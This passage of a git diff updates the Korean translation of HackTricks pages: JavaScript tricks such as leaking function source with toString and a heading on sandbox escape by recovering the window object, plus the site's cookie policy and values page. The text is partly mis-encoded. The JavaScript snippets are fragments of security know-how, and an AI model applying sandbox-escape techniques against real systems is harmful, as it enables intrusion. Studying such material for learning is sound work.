2; () => a + b + 1; ``` -๊ทธ๋ž˜์„œ ์ด์ „์˜ ๋Œ€๋ถ€๋ถ„์˜ ํ•จ์ˆ˜๋Š” ์‹ค์ œ๋กœ ์“ธ๋ชจ๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ์šฐ๋ฆฌ๋Š” ๊ทธ๊ฒƒ๋“ค์„ ์ €์žฅํ•˜๊ฑฐ๋‚˜ ํ˜ธ์ถœํ•  ๊ณณ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด `plusone` ํ•จ์ˆ˜๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค: +๊ทธ๋ž˜์„œ ์ด์ „์˜ ๋Œ€๋ถ€๋ถ„์˜ ํ•จ์ˆ˜๋Š” ์‹ค์ œ๋กœ ์“ธ๋ชจ๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ์šฐ๋ฆฌ๋Š” ๊ทธ๊ฒƒ๋“ค์„ ์ €์žฅํ•˜๊ณ  ํ˜ธ์ถœํ•  ๊ณณ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด `plusone` ํ•จ์ˆ˜๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค: ```javascript // Traductional function plusone(a) { @@ -301,7 +301,7 @@ var bindFn_this = fn.bind(this, "fixingparam1") bindFn_change("Hello", "World") ``` > [!NOTE] -> **`bind`**๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ํ•จ์ˆ˜ ํ˜ธ์ถœ ์‹œ ์‚ฌ์šฉ๋  **`this`** ๊ฐ์ฒด๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +> **`bind`**๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ ์‚ฌ์šฉ๋  **`this`** ๊ฐ์ฒด๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### ํ•จ์ˆ˜ ์ฝ”๋“œ ์œ ์ถœ @@ -315,7 +315,7 @@ console.log(String(afunc)) //This will print the code of the function console.log(this.afunc.toString()) //This will print the code of the function console.log(global.afunc.toString()) //This will print the code of the function ``` -์ด๋ฆ„์ด ์—†๋Š” **ํ•จ์ˆ˜**์˜ ๊ฒฝ์šฐ, ์—ฌ์ „ํžˆ ๋‚ด๋ถ€์—์„œ **ํ•จ์ˆ˜ ์ฝ”๋“œ**๋ฅผ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์ด๋ฆ„์ด ์—†๋Š” **ํ•จ์ˆ˜**์˜ ๊ฒฝ์šฐ์—๋„ ๋‚ด๋ถ€์—์„œ **ํ•จ์ˆ˜ ์ฝ”๋“œ**๋ฅผ ์—ฌ์ „ํžˆ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```javascript ;(function () { return arguments.callee.toString() @@ -343,7 +343,7 @@ return String(this) /* Hidden commment */ })() ``` -## Sandbox Escape - window ๊ฐ์ฒด ๋ณต๊ตฌ +## Sandbox Escape - Recovering window object Window ๊ฐ์ฒด๋Š” alert ๋˜๋Š” eval๊ณผ ๊ฐ™์€ ์ „์—ญ์ ์œผ๋กœ ์ •์˜๋œ ํ•จ์ˆ˜์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ```javascript @@ -385,7 +385,7 @@ with(element) { ``` -## ๊ฐ’ ์ ‘๊ทผ ์‹œ ์ค‘๋‹จ์  ์„ค์ • +## ๊ฐ’ ์ ‘๊ทผ ์‹œ ์ค‘๋‹จ์  ```javascript // Stop when a property in sessionStorage or localStorage is set/get // via getItem or setItem functions diff --git a/src/todo/cookies-policy.md b/src/todo/cookies-policy.md index adf45337c..b149b3af0 100644 --- a/src/todo/cookies-policy.md +++ b/src/todo/cookies-policy.md @@ -1,45 +1,45 @@ -# ์ฟ ํ‚ค ์ •์ฑ… +# Cookies Policy -์ตœ์ข… ์—…๋ฐ์ดํŠธ: 2023๋…„ 2์›” 4์ผ +Last updated: 02/04/2023 -### ์†Œ๊ฐœ +### Introduction ์ด ์ฟ ํ‚ค ์ •์ฑ…์€ HackTricks ํŒ€("HackTricks", "์šฐ๋ฆฌ", "์ €ํฌ" ๋˜๋Š” "์šฐ๋ฆฌ์˜")์ด ์†Œ์œ ํ•˜๊ณ  ์šด์˜ํ•˜๋Š” ๋‹ค์Œ ์›น์‚ฌ์ดํŠธ์— ์ ์šฉ๋ฉ๋‹ˆ๋‹ค: -* hacktricks.xyz -* [www.hacktricks.xyz](http://www.hacktricks.xyz/) -* book.hacktricks.xyz -* cloud.hacktricks.xyz +* hacktricks.wiki +* [www.hacktricks.wiki](https://www.hacktricks.wiki/) +* book.hacktricks.wiki +* cloud.hacktricks.wiki -์ด ์›น์‚ฌ์ดํŠธ ์ค‘ ํ•˜๋‚˜๋ฅผ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ, ๊ท€ํ•˜๋Š” ์ด ์ฟ ํ‚ค ์ •์ฑ…์— ๋”ฐ๋ผ ์ฟ ํ‚ค ์‚ฌ์šฉ์— ๋™์˜ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๋™์˜ํ•˜์ง€ ์•Š์œผ์‹œ๋ฉด, ๋ธŒ๋ผ์šฐ์ € ์„ค์ •์—์„œ ์ฟ ํ‚ค๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์‹œ๊ฑฐ๋‚˜ ์ €ํฌ ์›น์‚ฌ์ดํŠธ ์‚ฌ์šฉ์„ ์ž์ œํ•ด ์ฃผ์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค. +์ด ์›น์‚ฌ์ดํŠธ ์ค‘ ํ•˜๋‚˜๋ฅผ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ, ๊ท€ํ•˜๋Š” ์ด ์ฟ ํ‚ค ์ •์ฑ…์— ๋”ฐ๋ผ ์ฟ ํ‚ค ์‚ฌ์šฉ์— ๋™์˜ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋™์˜ํ•˜์ง€ ์•Š์œผ์‹œ๋ฉด, ๋ธŒ๋ผ์šฐ์ € ์„ค์ •์—์„œ ์ฟ ํ‚ค๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ ์ €ํฌ ์›น์‚ฌ์ดํŠธ ์‚ฌ์šฉ์„ ์ž์ œํ•ด ์ฃผ์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค. -### ์ฟ ํ‚ค๋ž€ ๋ฌด์—‡์ธ๊ฐ€์š”? +### What are cookies? -์ฟ ํ‚ค๋Š” ์›น์‚ฌ์ดํŠธ๋ฅผ ๋ฐฉ๋ฌธํ•  ๋•Œ ๊ท€ํ•˜์˜ ์ปดํ“จํ„ฐ๋‚˜ ๋ชจ๋ฐ”์ผ ์žฅ์น˜์— ์ €์žฅ๋˜๋Š” ์ž‘์€ ํ…์ŠคํŠธ ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. ์ฟ ํ‚ค๋Š” ์›น์‚ฌ์ดํŠธ๊ฐ€ ์ž‘๋™ํ•˜๋„๋ก ํ•˜๊ณ , ๊ธฐ๋Šฅ์„ ๊ฐœ์„ ํ•˜๋ฉฐ, ๋ณด๋‹ค ๊ฐœ์ธํ™”๋œ ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์„ ์ œ๊ณตํ•˜๊ธฐ ์œ„ํ•ด ๋„๋ฆฌ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. +์ฟ ํ‚ค๋Š” ์›น์‚ฌ์ดํŠธ๋ฅผ ๋ฐฉ๋ฌธํ•  ๋•Œ ๊ท€ํ•˜์˜ ์ปดํ“จํ„ฐ๋‚˜ ๋ชจ๋ฐ”์ผ ์žฅ์น˜์— ์ €์žฅ๋˜๋Š” ์ž‘์€ ํ…์ŠคํŠธ ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. ์ด๋“ค์€ ์›น์‚ฌ์ดํŠธ๊ฐ€ ์ž‘๋™ํ•˜๊ณ , ๊ธฐ๋Šฅ์„ ๊ฐœ์„ ํ•˜๋ฉฐ, ๋ณด๋‹ค ๊ฐœ์ธํ™”๋œ ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์„ ์ œ๊ณตํ•˜๊ธฐ ์œ„ํ•ด ๋„๋ฆฌ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. -### ์ฟ ํ‚ค ์‚ฌ์šฉ ๋ฐฉ๋ฒ• +### How we use cookies -์ €ํฌ ์›น์‚ฌ์ดํŠธ์—์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ชฉ์ ์œผ๋กœ ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค: +์šฐ๋ฆฌ๋Š” ๋‹ค์Œ ๋ชฉ์ ์„ ์œ„ํ•ด ์›น์‚ฌ์ดํŠธ์—์„œ ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค: -1. ํ•„์ˆ˜ ์ฟ ํ‚ค: ์ด๋Ÿฌํ•œ ์ฟ ํ‚ค๋Š” ์‚ฌ์šฉ์ž ์ธ์ฆ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๊ณ , ๋ณด์•ˆ์„ ์œ ์ง€ํ•˜๋ฉฐ, ๊ท€ํ•˜์˜ ์„ ํ˜ธ ์‚ฌํ•ญ์„ ๊ธฐ์–ตํ•˜๋Š” ๋“ฑ ์ €ํฌ ์›น์‚ฌ์ดํŠธ์˜ ๊ธฐ๋ณธ ๊ธฐ๋Šฅ์— ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. -2. ์„ฑ๋Šฅ ์ฟ ํ‚ค: ์ด๋Ÿฌํ•œ ์ฟ ํ‚ค๋Š” ๋ฐฉ๋ฌธ์ž๊ฐ€ ์ €ํฌ ์›น์‚ฌ์ดํŠธ์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ๋ฐฉ์‹์„ ์ดํ•ดํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ฃผ๋ฉฐ, ์ •๋ณด๋ฅผ ์ต๋ช…์œผ๋กœ ์ˆ˜์ง‘ํ•˜๊ณ  ๋ณด๊ณ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ €ํฌ ์›น์‚ฌ์ดํŠธ์˜ ์„ฑ๋Šฅ๊ณผ ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์„ ๊ฐœ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -3. ๊ธฐ๋Šฅ์„ฑ ์ฟ ํ‚ค: ์ด๋Ÿฌํ•œ ์ฟ ํ‚ค๋Š” ์ €ํฌ ์›น์‚ฌ์ดํŠธ๊ฐ€ ๊ท€ํ•˜๊ฐ€ ์„ ํƒํ•œ ์–ธ์–ด ๋˜๋Š” ์ง€์—ญ๊ณผ ๊ฐ™์€ ์„ ํƒ ์‚ฌํ•ญ์„ ๊ธฐ์–ตํ•˜์—ฌ ๋ณด๋‹ค ๊ฐœ์ธํ™”๋œ ๊ฒฝํ—˜์„ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. -4. ํƒ€๊ฒŸํŒ…/๊ด‘๊ณ  ์ฟ ํ‚ค: ์ด๋Ÿฌํ•œ ์ฟ ํ‚ค๋Š” ๊ท€ํ•˜์˜ ๊ด€์‹ฌ์‚ฌ, ํƒ์ƒ‰ ๊ธฐ๋ก ๋ฐ ์ €ํฌ ์›น์‚ฌ์ดํŠธ์™€์˜ ์ƒํ˜ธ์ž‘์šฉ์— ๋”ฐ๋ผ ๊ด€๋ จ ๊ด‘๊ณ  ๋ฐ ๋งˆ์ผ€ํŒ… ์ปค๋ฎค๋‹ˆ์ผ€์ด์…˜์„ ์ œ๊ณตํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. +1. ํ•„์ˆ˜ ์ฟ ํ‚ค: ์ด ์ฟ ํ‚ค๋Š” ์‚ฌ์šฉ์ž ์ธ์ฆ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๊ณ , ๋ณด์•ˆ์„ ์œ ์ง€ํ•˜๋ฉฐ, ๊ท€ํ•˜์˜ ์„ ํ˜ธ ์‚ฌํ•ญ์„ ๊ธฐ์–ตํ•˜๋Š” ๋“ฑ ์›น์‚ฌ์ดํŠธ์˜ ๊ธฐ๋ณธ ๊ธฐ๋Šฅ์— ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. +2. ์„ฑ๋Šฅ ์ฟ ํ‚ค: ์ด ์ฟ ํ‚ค๋Š” ๋ฐฉ๋ฌธ์ž๊ฐ€ ์šฐ๋ฆฌ ์›น์‚ฌ์ดํŠธ์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ๋ฐฉ์‹์„ ์ดํ•ดํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ฃผ๋ฉฐ, ์ •๋ณด๋ฅผ ์ต๋ช…์œผ๋กœ ์ˆ˜์ง‘ํ•˜๊ณ  ๋ณด๊ณ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์›น์‚ฌ์ดํŠธ ์„ฑ๋Šฅ๊ณผ ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์„ ๊ฐœ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +3. ๊ธฐ๋Šฅ์„ฑ ์ฟ ํ‚ค: ์ด ์ฟ ํ‚ค๋Š” ์›น์‚ฌ์ดํŠธ๊ฐ€ ๊ท€ํ•˜๊ฐ€ ์„ ํƒํ•œ ์–ธ์–ด ๋˜๋Š” ์ง€์—ญ๊ณผ ๊ฐ™์€ ์„ ํƒ ์‚ฌํ•ญ์„ ๊ธฐ์–ตํ•˜์—ฌ ๋ณด๋‹ค ๊ฐœ์ธํ™”๋œ ๊ฒฝํ—˜์„ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. +4. ํƒ€๊ฒŸํŒ…/๊ด‘๊ณ  ์ฟ ํ‚ค: ์ด ์ฟ ํ‚ค๋Š” ๊ท€ํ•˜์˜ ๊ด€์‹ฌ์‚ฌ, ํƒ์ƒ‰ ๊ธฐ๋ก ๋ฐ ์šฐ๋ฆฌ ์›น์‚ฌ์ดํŠธ์™€์˜ ์ƒํ˜ธ์ž‘์šฉ์— ๋”ฐ๋ผ ๊ด€๋ จ ๊ด‘๊ณ  ๋ฐ ๋งˆ์ผ€ํŒ… ์ปค๋ฎค๋‹ˆ์ผ€์ด์…˜์„ ์ œ๊ณตํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. -๋˜ํ•œ, book.hacktricks.xyz ๋ฐ cloud.hacktricks.xyz ํŽ˜์ด์ง€๋Š” Gitbook์—์„œ ํ˜ธ์ŠคํŒ…๋ฉ๋‹ˆ๋‹ค. Gitbook์˜ ์ฟ ํ‚ค์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋˜ํ•œ, book.hacktricks.wiki ๋ฐ cloud.hacktricks.wiki ํŽ˜์ด์ง€๋Š” Gitbook์— ํ˜ธ์ŠคํŒ…๋ฉ๋‹ˆ๋‹ค. Gitbook์˜ ์ฟ ํ‚ค์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -### ์ œ3์ž ์ฟ ํ‚ค +### Third-party cookies -์ €ํฌ ์ฟ ํ‚ค ์™ธ์—๋„, ์›น์‚ฌ์ดํŠธ ์‚ฌ์šฉ ํ†ต๊ณ„ ๋ณด๊ณ , ๊ด‘๊ณ  ์ œ๊ณต ๋ฐ ์†Œ์…œ ๋ฏธ๋””์–ด ๊ณต์œ  ๋ฒ„ํŠผ ํ™œ์„ฑํ™”๋ฅผ ์œ„ํ•ด ์ œ3์ž ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ œ3์ž ์ฟ ํ‚ค์˜ ์‚ฌ์šฉ์€ ํ•ด๋‹น ์ฟ ํ‚ค์˜ ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ์ •์ฑ…์— ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. +์ž์ฒด ์ฟ ํ‚ค ์™ธ์—๋„, ์›น์‚ฌ์ดํŠธ ์‚ฌ์šฉ ํ†ต๊ณ„ ๋ณด๊ณ , ๊ด‘๊ณ  ์ œ๊ณต ๋ฐ ์†Œ์…œ ๋ฏธ๋””์–ด ๊ณต์œ  ๋ฒ„ํŠผ์„ ํ™œ์„ฑํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์ œ3์ž ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ œ3์ž ์ฟ ํ‚ค์˜ ์‚ฌ์šฉ์€ ํ•ด๋‹น ๊ฐœ์ธ ์ •๋ณด ๋ณดํ˜ธ ์ •์ฑ…์— ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. -์ฟ ํ‚ค ๊ด€๋ฆฌ +Managing cookies -๋Œ€๋ถ€๋ถ„์˜ ์›น ๋ธŒ๋ผ์šฐ์ €๋Š” ์„ค์ •์„ ํ†ตํ•ด ์ฟ ํ‚ค๋ฅผ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ท€ํ•˜๋Š” ์žฅ์น˜์—์„œ ์ฟ ํ‚ค ์‚ฌ์šฉ์„ ์ฐจ๋‹จ, ์‚ญ์ œ ๋˜๋Š” ์ œํ•œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ฟ ํ‚ค๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ฉด ์ €ํฌ ์›น์‚ฌ์ดํŠธ์˜ ๊ธฐ๋Šฅ๊ณผ ์„ฑ๋Šฅ์— ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋Œ€๋ถ€๋ถ„์˜ ์›น ๋ธŒ๋ผ์šฐ์ €๋Š” ์„ค์ •์„ ํ†ตํ•ด ์ฟ ํ‚ค๋ฅผ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ท€ํ•˜๋Š” ์žฅ์น˜์—์„œ ์ฟ ํ‚ค์˜ ์‚ฌ์šฉ์„ ์ฐจ๋‹จ, ์‚ญ์ œ ๋˜๋Š” ์ œํ•œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ฟ ํ‚ค๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ฉด ์›น์‚ฌ์ดํŠธ์˜ ๊ธฐ๋Šฅ๊ณผ ์„ฑ๋Šฅ์— ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์ด ์ฟ ํ‚ค ์ •์ฑ…์˜ ๋ณ€๊ฒฝ +Changes to this Cookies Policy -์ €ํฌ๋Š” ๊ด€ํ–‰์ด๋‚˜ ๊ด€๋ จ ๋ฒ•๋ฅ ์˜ ๋ณ€๊ฒฝ์„ ๋ฐ˜์˜ํ•˜๊ธฐ ์œ„ํ•ด ์ด ์ฟ ํ‚ค ์ •์ฑ…์„ ์ˆ˜์‹œ๋กœ ์—…๋ฐ์ดํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ตœ์‹  ์ฟ ํ‚ค ๊ด€ํ–‰์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์ด ํŽ˜์ด์ง€๋ฅผ ์ฃผ๊ธฐ์ ์œผ๋กœ ๊ฒ€ํ† ํ•˜์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค. +์šฐ๋ฆฌ๋Š” ๊ด€ํ–‰์ด๋‚˜ ๊ด€๋ จ ๋ฒ•๋ฅ ์˜ ๋ณ€ํ™”๋ฅผ ๋ฐ˜์˜ํ•˜๊ธฐ ์œ„ํ•ด ์ด ์ฟ ํ‚ค ์ •์ฑ…์„ ์ˆ˜์‹œ๋กœ ์—…๋ฐ์ดํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ตœ์‹  ์ฟ ํ‚ค ๊ด€ํ–‰์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์ด ํŽ˜์ด์ง€๋ฅผ ์ฃผ๊ธฐ์ ์œผ๋กœ ๊ฒ€ํ† ํ•˜์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค. -### ๋ฌธ์˜ํ•˜๊ธฐ +### Contact us -์ด ์ฟ ํ‚ค ์ •์ฑ…์— ๋Œ€ํ•œ ์งˆ๋ฌธ์ด๋‚˜ ์šฐ๋ ค ์‚ฌํ•ญ์ด ์žˆ์œผ์‹œ๋ฉด, [support@hacktricks.xyz](mailto:support@hacktricks.xyz)๋กœ ์ €ํฌ์—๊ฒŒ ์—ฐ๋ฝํ•ด ์ฃผ์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค. +์ด ์ฟ ํ‚ค ์ •์ฑ…์— ๋Œ€ํ•œ ์งˆ๋ฌธ์ด๋‚˜ ์šฐ๋ ค ์‚ฌํ•ญ์ด ์žˆ์œผ์‹œ๋ฉด [support@hacktricks.xyz](mailto:support@hacktricks.xyz)๋กœ ๋ฌธ์˜ํ•ด ์ฃผ์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค. diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 4919ca5de..f69d74d06 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -7,15 +7,15 @@ > [!TIP] > ์ด๊ฒƒ์€ **HackTricks ํ”„๋กœ์ ํŠธ์˜ ๊ฐ€์น˜**์ž…๋‹ˆ๋‹ค: > -> - **๋ชจ๋“ ** ์ธํ„ฐ๋„ท ์‚ฌ์šฉ์ž์—๊ฒŒ **๋ฌด๋ฃŒ**๋กœ **๊ต์œก์  ํ•ดํ‚น** ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. +> - **๋ชจ๋“ ** ์ธํ„ฐ๋„ท ์‚ฌ์šฉ์ž์—๊ฒŒ **๊ต์œก์  ํ•ดํ‚น** ๋ฆฌ์†Œ์Šค์— **๋ฌด๋ฃŒ**๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. > - ํ•ดํ‚น์€ ๋ฐฐ์šฐ๋Š” ๊ฒƒ์ด๋ฉฐ, ๋ฐฐ์šฐ๋Š” ๊ฒƒ์€ ๊ฐ€๋Šฅํ•œ ํ•œ ๋ฌด๋ฃŒ์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค. -> - ์ด ์ฑ…์˜ ๋ชฉ์ ์€ ํฌ๊ด„์ ์ธ **๊ต์œก ๋ฆฌ์†Œ์Šค**๋กœ์„œ์˜ ์—ญํ• ์„ ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. -> - ์ปค๋ฎค๋‹ˆํ‹ฐ๊ฐ€ ๊ฒŒ์‹œํ•œ ๋ฉ‹์ง„ **ํ•ดํ‚น** ๊ธฐ์ˆ ์„ **์ €์žฅ**ํ•˜๊ณ  **์›๋ž˜ ์ €์ž**์—๊ฒŒ ๋ชจ๋“  **ํฌ๋ ˆ๋”ง**์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. +> - ์ด ์ฑ…์˜ ๋ชฉ์ ์€ ํฌ๊ด„์ ์ธ **๊ต์œก ๋ฆฌ์†Œ์Šค**๋กœ ๊ธฐ๋Šฅํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. +> - ์ปค๋ฎค๋‹ˆํ‹ฐ๊ฐ€ ๊ฒŒ์‹œํ•œ ๋ฉ‹์ง„ **ํ•ดํ‚น** ๊ธฐ์ˆ ์„ **์ €์žฅ**ํ•˜๊ณ  **์›๋ž˜์˜ ์ €์ž**์—๊ฒŒ ๋ชจ๋“  **ํฌ๋ ˆ๋”ง**์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. > - **์šฐ๋ฆฌ๋Š” ๋‹ค๋ฅธ ์‚ฌ๋žŒ์—๊ฒŒ์„œ ํฌ๋ ˆ๋”ง์„ ์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค**, ์šฐ๋ฆฌ๋Š” ๋‹จ์ง€ ๋ชจ๋‘๋ฅผ ์œ„ํ•ด ๋ฉ‹์ง„ ํŠธ๋ฆญ์„ ์ €์žฅํ•˜๊ณ  ์‹ถ์Šต๋‹ˆ๋‹ค. > - ์šฐ๋ฆฌ๋Š” ๋˜ํ•œ HackTricks์—์„œ **์šฐ๋ฆฌ์˜ ์—ฐ๊ตฌ**๋ฅผ ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค. -> - ์—ฌ๋Ÿฌ ๊ฒฝ์šฐ์— ์šฐ๋ฆฌ๋Š” ๊ธฐ์ˆ ์˜ ์ค‘์š”ํ•œ ๋ถ€๋ถ„์— ๋Œ€ํ•œ **์š”์•ฝ์„ HackTricks์— ์ž‘์„ฑํ•˜๊ณ ** ๋” ๋งŽ์€ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์œ„ํ•ด **์›๋ž˜ ๊ฒŒ์‹œ๋ฌผ์„ ๋ฐฉ๋ฌธํ•˜๋„๋ก ๋…์ž๋ฅผ ๊ถŒ์žฅํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค**. -> - ์ฑ…์˜ ๋ชจ๋“  ํ•ดํ‚น ๊ธฐ์ˆ ์„ **์กฐ์งํ™”**ํ•˜์—ฌ **๋” ์‰ฝ๊ฒŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก** ํ•ฉ๋‹ˆ๋‹ค. -> - HackTricks ํŒ€์€ ์‚ฌ๋žŒ๋“ค์ด **๋” ๋น ๋ฅด๊ฒŒ ๋ฐฐ์šธ ์ˆ˜ ์žˆ๋„๋ก** ์ฝ˜ํ…์ธ ๋ฅผ **์กฐ์งํ•˜๋Š” ๋ฐ๋งŒ** ์ˆ˜์ฒœ ์‹œ๊ฐ„์„ ๋ฌด๋ฃŒ๋กœ ํ—Œ์‹ ํ–ˆ์Šต๋‹ˆ๋‹ค. +> - ์—ฌ๋Ÿฌ ๊ฒฝ์šฐ์— ์šฐ๋ฆฌ๋Š” **๊ธฐ์ˆ ์˜ ์ค‘์š”ํ•œ ๋ถ€๋ถ„์— ๋Œ€ํ•œ ์š”์•ฝ์„ HackTricks์— ์ž‘์„ฑํ•˜๊ณ ** ๋” ๋งŽ์€ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์œ„ํ•ด **์›๋ž˜ ๊ฒŒ์‹œ๋ฌผ์„ ๋ฐฉ๋ฌธํ•˜๋„๋ก ๋…์ž๋ฅผ ๊ถŒ์žฅํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค**. +> - ์ฑ…์˜ ๋ชจ๋“  ํ•ดํ‚น ๊ธฐ์ˆ ์„ **์กฐ์งํ™”**ํ•˜์—ฌ **๋” ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๊ฒŒ** ํ•ฉ๋‹ˆ๋‹ค. +> - HackTricks ํŒ€์€ ์‚ฌ๋žŒ๋“ค์ด **๋” ๋น ๋ฅด๊ฒŒ ๋ฐฐ์šธ ์ˆ˜ ์žˆ๋„๋ก** ์ฝ˜ํ…์ธ ๋ฅผ **์กฐ์งํ™”ํ•˜๋Š” ๋ฐ** ๋ฌด๋ฃŒ๋กœ ์ˆ˜์ฒœ ์‹œ๊ฐ„์„ ํ—Œ์‹ 